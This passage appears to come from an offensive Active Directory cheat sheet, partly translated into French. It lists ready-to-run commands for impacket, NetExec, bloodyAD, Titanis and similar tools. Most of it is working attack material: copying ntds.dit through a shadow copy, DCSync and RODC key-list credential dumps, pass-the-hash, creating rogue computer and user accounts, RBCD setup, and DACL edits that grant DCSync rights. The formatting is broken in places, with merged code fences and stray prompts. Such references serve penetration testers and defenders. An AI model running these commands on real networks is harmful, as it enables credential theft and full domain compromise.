"cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit" wmiexec.py DOMAIN/Administrator:[email protected]
"cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM"

Titanis — exec (no > redirect in command arg; use cmd.exe /c for copy)

Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"diskshadow.exe /s C:\Windows\Temp\shadow.dsh" Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit" Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM"

Step 4 — retrieve files

smbclient.py DOMAIN/Administrator:[email protected]

smb: > get Windows\Temp\ntds.dit ntds.dit

smb: > get Windows\Temp\SYSTEM SYSTEM

Titanis — retrieve

Smb2Client get "\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit
-UserName Administrator -UserDomain DOMAIN -Password Password123 Smb2Client get "\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM
-UserName Administrator -UserDomain DOMAIN -Password Password123

Step 5 — clean up shadow and parse offline

wmiexec.py DOMAIN/Administrator:[email protected]
"diskshadow.exe /s - delete shadows volume trophy" secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL gosecretsdump -ntds ntds.dit -system SYSTEM # faster alternative for large NTDS files

root@kitploit:~
[↑ Retour à l'index](#index)

---

### NTDS Dump via Kerb-Key-List (RODC)

> Extrait les clés Kerberos AES pour tous les comptes du domaine via le protocole de réplication de clés RODC. Nécessite la clé AES ou le hash NT d'un compte RODC `krbtgt` (`krbtgt_XXXXX`). N'utilise ni DRSUAPI ni VSS — utile dans les environnements où DCSync est bloqué. Ne récupère que les clés Kerberos, pas les hashs NTLM directement (bien que NTLM puisse être dérivé des clés RC4).```bash
# impacket — using RODC krbtgt AES key
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

# impacket — pass-the-hash to authenticate, then key-list
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

↑ Retour à l'index


Analyse hors ligne de NTDS

Étant donné un ntds.dit volé et une ruche SYSTEM (provenant de VSS, IFM, sauvegarde, ou prélèvement avec sémantique de sauvegarde), extrayez tous les hachages localement sans toucher à nouveau au DC.```bash

gosecretsdump — Go reimplementation; dramatically faster on large NTDS files

(secretsdump can take 20+ minutes; gosecretsdump completes in under a minute)

gosecretsdump -ntds ntds.dit -system SYSTEM gosecretsdump -ntds ntds.dit -system SYSTEM -enabled # enabled accounts only gosecretsdump -ntds ntds.dit -system SYSTEM -history # include password history gosecretsdump -ntds ntds.dit -system SYSTEM -out hashes.txt

root@kitploit:~
[↑ Retour à l'index](#index)

---

### DCSync```bash
# pypykatz — full domain dump
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"

# pypykatz — single user (less noisy)
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]" \
  --username krbtgt

# pypykatz — pass-the-hash
pypykatz smb dcsync \
  "smb2+ntlm-nt://DOMAIN\Administrator:[email protected]"

# Metasploit — full domain dump
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN

# Metasploit — restrict to specific users
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN krb_users=krbtgt

# impacket — full NTLM dump
secretsdump.py DOMAIN/Administrator:[email protected] -just-dc-ntlm

# impacket — pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -just-dc-ntlm

# impacket — single account
secretsdump.py DOMAIN/Administrator:[email protected] \
  -just-dc-user DOMAIN/krbtgt

# NetExec
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds --user krbtgt

# NetExec — pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds

# gopacket — DCSync full NTLM dump
secretsdump -just-dc-ntlm DOMAIN/Administrator:[email protected]
# gopacket — DCSync pass-the-hash
secretsdump -just-dc-ntlm -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — DCSync single user
secretsdump -just-dc-user DOMAIN/krbtgt DOMAIN/Administrator:[email protected]

# Titanis — all objects, all credential fields
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — single user
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List krbtgt

# Titanis — pass-the-hash
Dsrep rep -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — Kerberos (use DC hostname; -Kdc obtains TGT inline)
Dsrep rep -UserName Administrator -UserDomain DOMAIN -Password 'Password123' \
  -Kdc 192.168.1.1 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — enumerate DCs first
Dsrep dcinfo -UserName Administrator@DOMAIN -Password 'Password123' 192.168.1.1

↑ Retour à l'index


5. Énumération

Énumérer les utilisateurs du domaine (SAMR)```bash

impacket

samrdump.py DOMAIN/jdoe:[email protected] net.py DOMAIN/jdoe:[email protected] user

enum4linux-ng

enum4linux-ng -U 192.168.1.10 -u jdoe -p Password123

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --users

rpcclient

rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomusers"

msldap

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> adinfo

Titanis

Sam enumusers 192.168.1.10 -UserName jdoe -Password Password123

gopacket — SAMR user enumeration

samrdump DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

samrdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Énumérer les groupes / Alias locaux```bash
# impacket — enumerate domain groups
net.py DOMAIN/jdoe:[email protected] group

# impacket — enumerate local aliases (BUILTIN groups) on a host
net.py DOMAIN/jdoe:[email protected] localgroup

# impacket — add/remove a user from a domain group
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser

# impacket — add/remove from a local alias (e.g. local Administrators)
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -join newuser
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -unjoin newuser

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --groups --local-groups

# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomgroups"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumalsgroups builtin"

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# bloodyAD — domain groups
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(objectClass=group)" --attr sAMAccountName,description,member

# Titanis
Sam enumgroups  192.168.1.10 -UserName jdoe -Password Password123
Sam enumaliases 192.168.1.10 -UserName jdoe -Password Password123

# gopacket — enumerate domain groups
net DOMAIN/jdoe:[email protected] group
# gopacket — enumerate local aliases
net DOMAIN/jdoe:[email protected] localgroup
# gopacket — list members of a specific group
net DOMAIN/jdoe:[email protected] group -name "Domain Admins"
net DOMAIN/jdoe:[email protected] localgroup -name Administrators
# gopacket — add/remove user from a domain group
net DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser
# gopacket — pass-the-hash
net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] group

↑ Retour à l'index


SID Force brute / Recherche```bash

impacket — brute force RIDs

lookupsid.py DOMAIN/jdoe:[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --rid-brute

enum4linux-ng

enum4linux-ng -R 192.168.1.10 -u jdoe -p Password123

Titanis — resolve SID

Lsa lookupsid 192.168.1.10 -UserName jdoe -Password Password123
S-1-5-21-1234567890-1234567890-1234567890-500

Titanis — name to SID

Lsa lookupname 192.168.1.10 -UserName jdoe -Password Password123 Administrator jdoe

gopacket — RID brute force (resolves SIDs, dumps domain SID + usernames)

lookupsid DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

lookupsid -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

gopacket — null session (if allowed)

lookupsid DOMAIN/@192.168.1.10

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Énumérer les points de terminaison RPC```bash
# impacket
rpcdump.py DOMAIN/jdoe:[email protected]
rpcmap.py ncacn_ip_tcp:192.168.1.10

# Titanis
Epm lsep 192.168.1.10

# gopacket — RPC endpoint mapper dump (password)
rpcdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
rpcdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — rpcmap (unauthenticated TCP endpoint enumeration)
rpcmap ncacn_ip_tcp:192.168.1.10

↑ Retour à l'index


Interroger WMI```bash

impacket

wmiquery.py -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:[email protected]

impacket — pass-the-hash

wmiquery.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
-query "SELECT * FROM Win32_Process" DOMAIN/[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --wmi "SELECT * FROM Win32_Process"

NetExec — pass-the-hash

netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
--wmi "SELECT * FROM Win32_Process"

Titanis

Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
"SELECT * FROM Win32_Process" Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
-OutputFields Caption,ProcessId,ParentProcessId "SELECT * FROM Win32_Process"

gopacket — WQL query (password)

wmiquery -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

wmiquery -query "SELECT * FROM Win32_Process"
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Back to Index](#index)

---

### Invocation de méthode WMI```bash
# impacket — exec-based workaround only
wmiexec.py DOMAIN/jdoe:[email protected] "calc.exe"

# Titanis — invoke any WMI method directly
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_Process Create "calc.exe"

↑ Retour à l'index


Opérations sur le registre distant```bash

impacket — list key

reg.py DOMAIN/jdoe:[email protected] query
-keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion

NetExec — read a registry value (via -x)

netexec smb 192.168.1.10 -u jdoe -p Password123 -x "reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags"

Titanis — list key

Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion

impacket — read a value

reg.py DOMAIN/jdoe:[email protected] query
-keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags

Titanis — read a value

Reg get 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKLM/SYSTEM/CurrentControlSet/Control/Lsa LsaCfgFlags

gopacket — query a key

reg query -keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion DOMAIN/jdoe:[email protected]

gopacket — read a value

reg query -keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

reg query -keyName HKLM\SOFTWARE -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

impacket — set a value

reg.py DOMAIN/jdoe:[email protected] add
-keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd "TestData"

Titanis — set a value

Reg set 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKCU/Software/Test sz:TestValue=TestData

gopacket — set a value

reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData DOMAIN/jdoe:[email protected]

gopacket — delete a value

reg delete -keyName HKCU\Software\Test -v TestValue DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Descripteur de sécurité de clé de registre```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regetkeysecurity HKLM\\SAM"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regsetsecurity HKLM\\SAM <SDDL>"

# Titanis
Reg getsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKLM/SAM
Reg setsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  HKLM/SAM "O:BAG:SYD:(A;;KA;;;SY)"

↑ Retour à l'index


Énumération des services```bash

impacket

services.py DOMAIN/jdoe:[email protected] list

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --services

aiosmb — interactive client

asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

smb> services

smb> tasks

Titanis — query all services

Scm query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

impacket — start / stop

services.py DOMAIN/jdoe:[email protected] start -name Spooler services.py DOMAIN/jdoe:[email protected] stop -name Spooler

Titanis — start / stop

Scm start 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler

Titanis — create / delete

Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
"C:\Windows\System32\cmd.exe" Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc

gopacket — list all services

services DOMAIN/jdoe:[email protected] list

gopacket — pass-the-hash

services -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] list

gopacket — query status of a single service

services DOMAIN/jdoe:[email protected] status -name Spooler

gopacket — start / stop

services DOMAIN/jdoe:[email protected] start -name Spooler services DOMAIN/jdoe:[email protected] stop -name Spooler

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Gestion des privilèges LSA```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsaaddprivs S-1-5-21-...-1001 SeDebugPrivilege"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsadelprivs S-1-5-21-...-1001 SeDebugPrivilege"

# bloodyAD — no userRight subcommand; use rpcclient or Titanis for LSA privilege assignment

# Titanis
# ⚠️ Three requirements:
#   1. -PreferSmb required when targeting Domain Controllers (not needed for member servers)
#   2. -BySid required; -ByName is broken (LsaLookupNames always returns STATUS_OBJECT_NAME_NOT_FOUND)
#   3. Target account must have an existing LSA policy entry — run createaccount first if not
#
# Get SID first (impacket): lookupsid.py 'DOMAIN/admin:Pass@dc-ip' | grep <username>
#
# Step 1 — create LSA account entry if target has no existing explicit rights
Lsa createaccount 192.168.1.10 S-1-5-21-...-1001 \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -PreferSmb
# Step 2 — add/remove privilege
Lsa addpriv  192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa rmpriv   192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa setsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 0x20 -PreferSmb

↑ Retour à l’index


Énumération des privilèges et des comptes LSA```bash

rpcclient

rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "lsaenumsid" rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumprivs"

enum4linux-ng

enum4linux-ng -P 192.168.1.10 -u jdoe -p Password123

Titanis

Lsa enumaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 # requires admin Lsa enumprivaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -Privilege SeDebugPrivilege Lsa getprivs 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getrights 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe

root@kitploit:~
[↑ Retour à l'index](#index)

---

## 6. Active Directory / LDAP

### Énumérer les utilisateurs / ordinateurs AD```bash
# impacket
GetADUsers.py    -all -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
GetADComputers.py     -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --users
netexec ldap 192.168.1.1 -u jdoe -p Password123 --computers

# bloodyAD
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=user)" --attr sAMAccountName,userPrincipalName,userAccountControl
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=computer)" --attr sAMAccountName,dNSHostName,operatingSystem

# msldap — password
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# msldap — pass-the-hash
msldap "ldap+ntlm-nt://DOMAIN\jdoe:[email protected]"

# msldap — Kerberos ccache
msldap "ldap+kerberos+ccache://DOMAIN\jdoe:@dc01.domain.local/?dc=192.168.1.1&ccache=jdoe.ccache"

# msldap — via SOCKS5
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080"

# Titanis — use Ldap query (not Ldap search) with -FollowReferrals on Linux
# Linux notes:
#   - Use Ldap query, not Ldap search — Ldap search always probes RootDSE first, hits a referral,
#     and returns no records regardless of -SearchBase or -FollowReferrals
#   - -FollowReferrals required — without it, referral targets are printed as INFO and results are empty
#   - -OutputFields only accepts one field at a time on Linux; comma lists show header but no rows
#     Workaround: -OutputFields '*' -OutputStyle List and grep/parse
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=user)" -FollowReferrals
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=computer)" -FollowReferrals

# gopacket — enumerate AD users (requires -port 389)
GetADUsers -all -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — enumerate AD computers (requires -port 389)
GetADComputers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetADUsers -all -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Retour à l'index


Énumération des GPO et des approbations de domaine```bash

NetExec — BloodHound collection (includes GPOs and trusts)

netexec ldap 192.168.1.1 -u jdoe -p Password123 --bloodhound --collection All

bloodyAD — domain trusts

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search
--filter "(objectClass=trustedDomain)" --attr name,trustDirection,trustType,flatName

msldap

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> trusts

Titanis — enumerate GPO containers

Use Ldap query + -FollowReferrals on Linux; -OutputFields comma list works on Windows only

Linux: use -OutputStyle List and parse, or -OutputFields * and grep

Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(objectClass=groupPolicyContainer)"
-OutputFields displayName,gPCFileSysPath,versionNumber -FollowReferrals

Titanis — enumerate domain trusts

Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(objectClass=trustedDomain)"
-OutputFields name,trustDirection,trustType,trustAttributes,flatName -FollowReferrals

Titanis — Kerberos auth variants

Ldap query dc01.domain.local -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1
-Password Password123 "(objectClass=groupPolicyContainer)"
-OutputFields displayName,gPCFileSysPath -FollowReferrals

⚠️ -TicketCache only works with Titanis-native ccache; use -Tgt with a Titanis-generated TGT instead

Ldap query dc01.domain.local -UserName jdoe -UserDomain DOMAIN \

-TicketCache jdoe.ccache "(objectClass=trustedDomain)" -OutputFields * -FollowReferrals

ldapsearch — raw GPO objects

ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123
-b "CN=Policies,CN=System,DC=domain,DC=local" "(objectClass=groupPolicyContainer)"
displayName gPCFileSysPath

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Trouver les configurations de délégation```bash
# impacket
findDelegation.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --trusted-for-delegation

# bloodyAD — unconstrained delegation
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" --attr sAMAccountName,userAccountControl

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> unconstrained

# Titanis — unconstrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForDelegation)" -OutputFields * -FollowReferrals

# Titanis — constrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(msDS-AllowedToDelegateTo=*)" -OutputFields * -FollowReferrals

# Titanis — S4U2self only
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForS4U2self)" -OutputFields * -FollowReferrals

# gopacket — find all delegation types (requires -port 389)
findDelegation -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
findDelegation -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Retour à l’index


Ajouter un compte d’ordinateur```bash

impacket — SAMR method (no LDAPS required)

addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

impacket — LDAPS method

addcomputer.py -method LDAPS -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

impacket — pass-the-hash (SAMR)

addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe

bloodyAD

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add computer EVILPC$ Password123!

NetExec

netexec smb 192.168.1.1 -u jdoe -p Password123 -M add-computer -o NAME=EVILPC$ PASSWORD=Password123

Titanis — plain LDAP (creates account, unicodePwd not set without -Ssl)

Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
'CN=EVILPC$,CN=Computers,DC=domain,DC=local'

Titanis — LDAPS (sets unicodePwd; use full DN as ObjectName)

Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
-NewPassword Password123! -Ssl
'CN=EVILPC$,CN=Computers,DC=domain,DC=local'

gopacket — SAMR method (plain LDAP or no LDAPS; confirmed working with -Ssl flag on Titanis)

addcomputer -method SAMR -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]

gopacket — LDAP method (requires -port 389; use -Ssl / -port 636 for LDAPS)

addcomputer -method LDAP -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Ajouter un compte utilisateur```bash
# impacket — net.py does NOT support user -add; use bloodyAD or netexec instead
# (net.py only supports user -list, -enable, -disable; creation via SAMR is not implemented)

# bloodyAD — password
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add user newuser Password123!

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  add user newuser Password123!

# net rpc (Samba)
net rpc user add newuser Password123! -U DOMAIN/jdoe%Password123 -S 192.168.1.10

# Titanis
Ldap adduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 newuser Password123!

↑ Retour à l'index


Configurer RBCD```bash

impacket

rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

impacket — pass-the-hash

rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe

bloodyAD

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 set object TARGET$
msDS-AllowedToActOnBehalfOfOtherIdentity -v ''

gopacket — set RBCD (write msDS-AllowedToActOnBehalfOfOtherIdentity; requires -port 389)

rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 -port 389
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

gopacket — read current RBCD value

rbcd -delegate-to TARGET$ -action read
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Abus de DACL

> **Statut de Titanis :** Aucune capacité d'écriture ACE. `bloodyAD` est l'option non-impacket préférée. `dacledit.py` / `owneredit.py` sont les solutions de repli impacket.```bash
# bloodyAD — grant GenericAll
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  add genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# bloodyAD — grant DCSync rights
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass add dcsync jdoe

# bloodyAD — change owner
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set owner targetuser jdoe

# bloodyAD — cleanup
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  remove genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# dacledit.py — grant DCSync
dacledit.py -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# dacledit.py — grant GenericAll
dacledit.py -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# owneredit.py — change owner
owneredit.py -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# gopacket — dacledit: read DACL on an object (requires -port 389)
dacledit -action read -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant DCSync rights
dacledit -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant FullControl
dacledit -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — owneredit: change owner (requires -port 389)
owneredit -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]

